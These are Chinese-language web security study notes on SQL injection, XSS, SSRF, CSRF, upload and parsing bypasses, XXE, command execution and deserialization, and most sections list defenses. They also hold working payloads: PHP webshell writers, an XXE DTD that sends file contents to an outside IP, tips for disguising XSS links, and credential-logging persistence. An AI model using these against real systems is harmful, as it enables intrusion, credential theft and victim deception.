web 总结
一、SQL
https://b23.tv/kzn1Bv
1.sql注入原理
web程序没有对用户输入的数据进行严格的检查和过滤就拼接到后台的sql语句中解析执行。
2.sql注入的种类
按数据类型分为: 数字型、字符型、搜索型。
按提交数据的方式分为:get型、post型、cookie型、http头注入(xff、referer、User-agent)
按照获取信息的方式分为:联合查询、报错注入、布尔盲注、时间盲注、堆叠注入。
3.SQL注入的绕过
详见 -》另一篇 sql注入过waf
4.sql注入流程
1.寻找注入点 url,登录,留言,搜索等数据库交互的地方
2.看正常参数时候 页面回显
加' " ') 等符号尝试闭合 看有无报错。
加 and 1=1 1=2 or Xor | 看页面回显是否正常
sleep(5) 看页面响应时间是否会变
3. 如果存在注入的话 判断数据库类型
4. 选择合适的方式进行注入
5.判断数据库类型的语句
exists(select * from 每个数据库特有的表)
(select count(*) from 每个数据库特有的表) >0
6.写入webshell的条件
1.root用户权限
2. 网站绝对路径
3. get_magic_quotes_gpc未开启
4. secur_file_prv 不为 null
7.如果你在的目录没有执行权限怎么办?(待补充)
找其他解析漏洞之类的?
8.sql注入的条件
存在注入点,用户传入的参数可以控制。
9.into outfile函数作用
写入文件 可以写入webshell
10.xp_cmdshell
在sqlserver中 ,具有sysadmin权限的用户可以通过xp_cmdshell扩展以system权限执行任意系统命令,
在05版本后默认禁止,可以在sa权限下使用sp_config 开启。
11.了解过哪些数据库的sql注入,怎么快速判断属于哪个数据库?
12.时间延时的原理?sleep()不能用怎么办
根据页面响应时间来判断sql语句是否执行,是否存在sql注入。
可以使用benchmark(30000000,md5(1)) 进行检测。
13.http头注入有了解吗?
referer、xff、cookie、client-ip、host、User-agent注入
sql注入的防护方法
1.使用预编译语句。使用预编译后,sql语句就已经编译过啦,成为一个函数,之后传进来的只是参数,执行原来的sql语句,不需要再进行sql校验和编译。
14.order by 注入了解吗?
二、XSS漏洞
1. xss的原理是什么?xss的三种类型分别有什么不同?
https://blog.csdn.net/u011781521/article/details/53894399?locationNum=4&fps=1
攻击者在web页面中插入恶意的javascript脚本,当用户使用浏览器浏览该页面时,嵌入web页面中的javascript代码将会被执行,从而达到恶意攻击用户的目的。
反射型xss:经过后端,不经过数据库。 浏览器 -> 后端 ->浏览器
存储型xss:经过后端,经过数据库。 浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器。
dom型xss:不经过后端, URL-->浏览器
在易用上,存储型XSS > DOM - XSS > 反射型 XSS。
反射型xss和dom-xss都需要在url加入js代码才能够触发。
2.xss存在于什么地方?仅仅是前端吗?
url的每一个参数,url本身,表单,搜索框。
评论区,留言区,个人信息,订单信息
站内信,网页即时通讯,私信,意见反馈
搜索狂,当前目录,图片属性
3.xss用script就可以反射了吗?
还需要 alert() prompt() confirm()
4.存储型反射型有什么区别?本质上的区别?
持久化,会经过数据库,直接想爱你现在网页中,用户访问网页就可以
非持久化,需要欺骗用户去点链接。
5.反射型xss的前提是什么?
需要向web页面注入恶意代码,这些恶意代码能被浏览器执行。
利用
</";aaa
可输入上述payload检查是否会过滤特殊符号
构造好 xss地址后 可用百度短网址 的在线工具 将 xss url转换为 短网址 发送给 被攻击者 以防起疑心
6.xss防护方法
(1)过滤输入的数据,对例如:“ ‘ ”,“ “ ”,” < “,” > “,” on* “,script、iframe等危险字符进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等。
(2)不仅验证数据的类型,还要验证其格式、长度、范围和内容。
(3)不仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
(4)对输出到页面的数据进行相应的编码转换,如HTML实体编码、JS编码等。对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行检查。
7.httponly怎么绕过
使用xss平台钓鱼模块,可以在登录表单源码中写入xss语句,等管理员登录后,就会将账号密码发送到xss平台。
8.在已经有了shell的情况下,如何使用xs实现对目标站的长久控制?
在后台登录处加一段记录登录账号密码的js,如果登录成功就写入到一个文件里。
三、SSRF部分(可以获取源站IP)
1.讲一下ssrf的利用以及成因 (ssrf+ redis看看)
成因:服务端提供了从其他服务器获取数据的功能,并且没有对目的地址做严格的检查和过滤。
利用:
1.利用file协议读取本地文件。
2.对服务器内网、本地进行端口扫描,获取一些服务的banner信息。
3.攻击运行在内网或本地的应用程序。
4.攻击内外网web应用,使用http get请求发起攻击。
5.对内网的web应用就行指纹识别,识别企业内部的资产信息。
函数
file_get_contents()
fsockopen()
curl_exec()
2.SSRF一般出现在哪里?如何判断?
分享共能,转码服务,在线翻译,图片加载与下载,链接中存在url类型的参数,就可以尝试。
能够对外发起请求的地方
请求远程服务器资源的地方
数据库内置的功能
邮件系统
文件处理
在线处理工具
3.SSRF的防御
限制请求的端口只能为web端口,只允许访问http和https请求。(禁止file协议)
限制不能访问内网ip。
屏蔽返回的详细信息。
4.SSRF有哪些绕过方法?
1.攻击本地 127.0.0.1 换成 localhost或者[::]
2.8进制
16进制格式
3.各种协议 file:///d:/1.txt 读取静态文件
dict://127.0.0.1:6379探测端口
https/http://127.0.0.1:80 读取网页
gopher://
4.302跳转
5.DNS重绑定 前部分外网IP,后部分内网ip。 使用bp爆破
工具 https://lock.cmpxchg8b.com/rebinder.html
6.短网址转换工具 https://www.985.so/
四、CSRF
CSRF原理
假设A网站存在csrf漏洞,被攻击者登录后,点开攻击者发送的恶意链接,由于网站A没有添加token等验证,就会认为是用户正常发出的请求,处理恶意链接中存在的请求内容。
csrf利用
看请求包中是否存在token和referer 没有的话 大概率存在csrf漏洞。
有的话 删去看能否正常访问。能的话也存在。
csrf防御方法
1.在请求中添加不可伪造的token,并且在服务端验证token是否一致,不对就拒绝响应。
2.可以在敏感操作前加二次验证。 用户体验差,只用在敏感操作页面。
3.验证referer是否来自本网站。可绕过
xss与csrf区别
1.csrf需要登录,xss不用登录
2.csrf是利用网站本身的漏洞,去请求网站的api。
xss是向网站A注入js代码,篡改网站的内容。
五、文件上传
条件竞争漏洞
先允许上传文件后,在判断文件是否不合规需要删除,就有了时间差可以访问到上传的webshell。可以使用bp 抓两次包,一个上传包,一个访问上传文件。
waf怎么绕过
1.换行
filename="1.p
hp"
2.多个等号
filename======"1.php"
3.00截断
filename="1.php%00" bp url decode
4.文件名+ 分号
filename="1;.php"
5.文件名加单引号
filename="1'.php"
6.上传.htaccess
文件上传常见的绕过方法
https://blog.csdn.net/weixin_44677409/article/details/92799366
检验:
一、开启抓包 上传文件 看是前端验证还是后盾验证
1.如果是前端 直接修改网页源代码,或者抓包后改名
2.如果是后端
二、 根据后缀名检测
黑名单
1.特殊可执行后缀绕过 .php3 .php5等
2.大小写后缀,双写后缀。
3..htaccess文件 apache
4.点绕过 .php.
5.空格绕过 .php
6.点空点绕过 .php. .
7. ::$DATA绕过 php+windows
8. 配合解析漏洞绕过
apache换行解析漏洞 1.php%0A, 对%0A URL-decode
apache陌生后缀间隙漏洞 1.php.jpg 不需要php在末尾也能解析
白名单
1.图片马 +文件包含
2.修改 content-type
3.%00 0x00截断 在路径后加 php<5.3.4 magic_quotes_gpc=off
4.apache httpd 多后缀解析。
三、检查内容
1.文件头检查,修改图片头 内容 或者 用图片马
2.二次渲染
四、代码逻辑
1.条件竞争漏洞
文件上传如何防护?
1、对上传文件类型进行验证,除在前端验证外在后端依然要做验证,后端可以进行扩展名检测,重命名文件,MIME类型检测以及限制上传文件的大小等限制来防御,或是将上传的文件其他文件存储服务器中。
2、严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限制相关上传文件目录的执行权限,防止木马执行。
3、对上传文件格式进行严格校验,防止上传恶意脚本文件;
4、严格限制上传的文件路径。
5、文件扩展名服务端白名单校验。
6、文件内容服务端校验。
7、上传文件重命名。
8、隐藏上传文件路径。
六、文件包含
文件包含的函数有哪些?
include() include_once() 加载不存在的文件 不会停止运行 只引入一次
require() require_once() 加载不存在的文件会停止运行
eg: 1.php 内容为 1
include '1.php';
require '1.php';
include_once '1.php';
require_once '1.php';
结果为:
1
1
伪协议有哪些?
file:///
php://filter
data://
php://input
post内容
<?php fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST[cmd]); ?>'); ?>
上传成功后访问
http://localhost/pikachu/vul/fileinclude/shell.php?cmd=system('whoami');
http://localhost/pikachu/vul/fileinclude/shell.php?cmd=phpinfo();
七、文件解析漏洞
apache
1. 多后缀解析
从右往左依次解析 1.php.jpg .php不用在末尾 也可以解析
2. HTTPD 换行解析 cve2017-15715
apache 2.4.0-2.4.29 服务器必须为linux filename=1.php\%0A %0A urldecode
3. .htaccess
<FilesMatch "shell"> SetHandler application/x-httpd-php </FilesMatch>
将文件名含有shell的 当做php文件解析
nginx
1.畸形解析漏洞(test. jpg/*.php)
在nginx<0.8.33环境中
在默认fast-CGI开启的情况下
访问hack.jpg/.php hack.jpg/.php就会当做php脚本文件执行
上传一个hack.jpg 内容为
<?php fputs(fopen(‘shell.php’,’w’), ‘<?php eval($_POST[cmd]); ?>’);?>
访问 hack.jpg/.php 在这个目录下就会生成shell.php
2.%00 空字节代码解析漏洞
影响版本: 0.5* 0.6* 0.7<=0.765 0.8<=0.837
原理:nginx 在遇到%00空字节时与后端fastCGI处理不一致,导致图片中嵌入的代码,可以访问xxx.jpg%00.php来执行。
3.CVE-2013-4547(%20%00)
影响版本:nginx:0.841-1.56
http://192.168.56.101/test.jpg...php
将第一个. 改为20 第二个改为00
iis
1.目录解析漏洞(test.asp/1.jpg)
影响版本 5.x /6.0
在文件夹 *.asp *.asa *.cer *.cdx 的文件中,任何扩展的文件都会被iis当做 asp文件执行。
2.文件名解析漏洞(*.asp;.jpg)
影响版本 5.x /6.0
*.asp;.jpg *.asa;.jpg *.cer;.jpg 后缀的文件都会被当做 asp脚本执行
3.畸形解析漏洞(test.jpg/*.php)
影响版本 7.0 6.0
开启 fast-CGI情况下
test.jpg 写入<?php fputs(fopen(‘shell.php’,’w’), ‘<?php eval($_POST[cmd]); ?>’);?>上传至服务器
假设上传路径为/uplad
直接访问/upload/test.jpg/x.php 就会以php脚本文件执行生成 shell.php 并写入一句话木马。
4.其他解析漏洞
在windows环境下。
xx.php[空格] xx.jpg. (点) 这两类文件中都是不允许存在的,若这样命名,windows会自动删去 空格 或 点 。 可以抓包 在文件名后加 一个 [空格]或者点 尝试进行绕过黑名单。 若上传成功,[空格] 和 点 都会被消除。
八、XXE
参考我的另一篇文章 XXE 漏洞学习总结
https://www.cnblogs.com/r00tuser/p/7255939.html
xml外部实体注入漏洞,发生在应用程序解析xml输入时。
xml文档包括 xml声明、DTD文档类型定义(可选)、文档元素
1.原理:
服务端解析xml文件时,未对xml文件引用的外部实体(含外部一半实体和外部参数实体)作合适的处理,并且实体的url支持 file://和ftp://等协议,导致可加载恶意外部文件和代码,造成 任意文件读取,命令执行,内网端口扫描,攻击内网网站,发起dos攻击等危害。
php解析xxe代码 来源于pikachu靶场
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
2.用法
1.读文件
2.内网探针或者攻击内网应用
3.rce 需要安装expect扩展 的php环境
“expect://id"
4.引入外部视实体dtd
5.无回显读取文件
三步
(1) 读到数据 赋值给 % file
(2) 引入外部实体声明
(3)访问外部实体声明的 请求服务器代码 /%file
post提交数据 (目标服务器为linux只可以使用php://filter base64 使用file:/// 无法执行xml.dtd文档)
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://106.55.247.195/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/app/1.txt">
%remote;
%send;
]>
vps上 xml.dtd 内容
<!ENTITY % all
"<!ENTITY % send SYSTEM
'http://106.55.247.195/?data=%file;'>"
>
%all;
成功
3. xxe语句怎么去构建
方式1. 直接通过DTD外部实体声明
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "/etc/passwd">
]>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY f SYSTEM "file:///c://windows//win.ini">
]>
<x>&f;</x>
方式2.通过DTD文档引入外部DTD文档,再引入外部实体声明
xml内容如下
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://XXX.com/evil.dtd>
<c>&b;</c>
DTD文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
方式三 通过DTD外部实体声明,引入外部实体声明
xml内容如下
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % d SYSTEM "http://xxx.com/evil.dtd">
%d;
]>
<c>&b;</c>
dtd文件内容为
<!ENTITY b SYSTEM "file:///etc/passwd">
4.怎么判断存在xxe漏洞的
案例1
1.修改请求包为post 发现响应内容和get一样
2.那么请求头部加一个Content-type:application/xml
请求体 加入
<?xml version="1.0"encoding="utf-8"?>
<GeneralSearch>cat</GeneralSearch>
3.回复xml错误 大概率存在xxe漏洞
4.
<?xmlversion="1.0" encoding="utf-8"?>
<!DOCTYPE dtgmlf6 [ <!ENTITY xxe SYSTEM"file:///etc/passwd">
]>
<GeneralSearch>&xxe;</GeneralSearch>
还是xxe漏洞
5.构造上边2中的攻击方法。
6.测试存在
案例2
随便插入标签 看有没有回显 <a>123 </a>
1.数据格式类型判断 <user>test</user><passwd>123456</passwd>
2. 抓包看 Content-Type: 看 有没有application/xml; 或者 text/xml 也进行尝试
3. 更改 Content-Type 值application/xml; 加一些xml语句 查看回显
实战:
在一个注册网站
1.注册时抓包发现提交数据用的xml格式传递
2.构造外部实体声明,请求 ceye.io 的免费服务器 查看 服务器日志是否成功。
3.并且当email重复的时候,会有返回包
4.于是进行尝试xxe漏洞 可以使用通过DTD外部实体声明,引入外部实体声明。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a[
<!ENTITY % d SYSTEM "http://106.55.247.195/evil.dtd">
%d;
]>
<root><name>123</name><tel>123</tel><email>&b;</email><password>123</password></root>
4.注入成功
还可以使用php://filter 返回base64编码格式 防止有返回包验证
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root><name>111</name><tel>222</tel><email>&file;</email><password>333</password></root>
ctf真题
扫描ip及端口--扫描目录---抓包探针xxe安全---利用xxxe读取源码---flag指向文件----base32 64 解密 ---php运行----flag
``
5. XXE的防御
防御XML注入攻击
方案:
1.使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤用户提交的xml数据
关键词 <!DOCTYPE <!ENTITY SYSTEM PUBLIC
6.绕过方式
编码绕过
针对ENTITY SYSTEM file 等关键词过滤时
采用 UTF-16BE 对字符串编码
可以放到linux 上用工具进行
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16BE.xml
data://协议绕过
如果http被过滤,可以用
file://
php://filter
外部引用
如果检测post提交的内容 尝试外部引用
九、命令执行
原理
用户通过浏览器提交执行的命令,服务端没有对用户的输入进行检查和过滤,将用户输入的参数作为系统命令的参数拼接到命令中,在没有过滤用户输入的情况下,造成命令执行漏洞。
& 两个命令都执行
&& 只有前边执行成功,后边才执行
|;不管前边是否执行成功,后边都执行
|| 顺序执行,碰到正确的命令,后边的就不执行。
命令执行的相关函数
system()
exec()
passthru()
shell_exec()
poen()
proc_open()
pcntl_exec()
防御
1.用户输入的参数在进入命令执行的函数前,进行检查和过滤。
2.参数的值用单引号包裹,单引号变量不解析,调用addslashes()进行转义
3.在php配置中文件中 设置 disable_functions 设置相关函数
十、代码执行
相关函数
eval()
assert()
call_user_func()
call_user_fuc_array()
十一、PHP反序列化漏洞
原理
原理:
未对用户输入的序列化字符串进行检测,导致攻击者课控制反序列化过程,从而导致代码执行,sql注入,目录遍历等不可控后果。在反序列化过程中自动触发了某些魔术方法,当进行反序列化的时候就有可能触发对象中的一些魔术方法。
PHP序列化函数是 serialize() 函数,将对象转化为字符串保存对象的变量及变量值(用于传输)。 序列化后便于对象传输和保存。
PHP反序列化函数 unserialize()函数,将序列化后的字符串还原为对象,在之后的代码中继续使用。
利用
分为 有类和无类
有类
如果反序列化的字符串内容是用户可以控制的。
并且后台不正当的使用了php的魔法函数,就会导致安全问题。
常见的几个魔法函数:
__construct()当一个对象创建时被调用吧
class ABC{ } $a = new ABC;
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将对象反序列化后运行
魔术方法
无类
十二、JAVA 反序列化漏洞
一、概念
我们需要保存某一库某个对象的信息,来进行一些操作,比如利用序列化将程序运行的对象状态以二进制形式存储与文件系统中,然后可以在另一个程序中对序列化后的对象状态数据进行反序列化恢复对象象,可以有效的实现多平台之间的通信,对象持久化存储。
java中API的实现
位置 Java.io.ObjiecOutputStream Java.io.InputStream
序列化 ObjectOutputStream类的 writeObject()方法
该方法是对参数指定的对象进行序列化,把字节序列写到一个目标输出流中按Java标准约定是给文件一个.ser扩展名
反序列化 ObjectInputStream 类的 readObject()方法
该方法是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。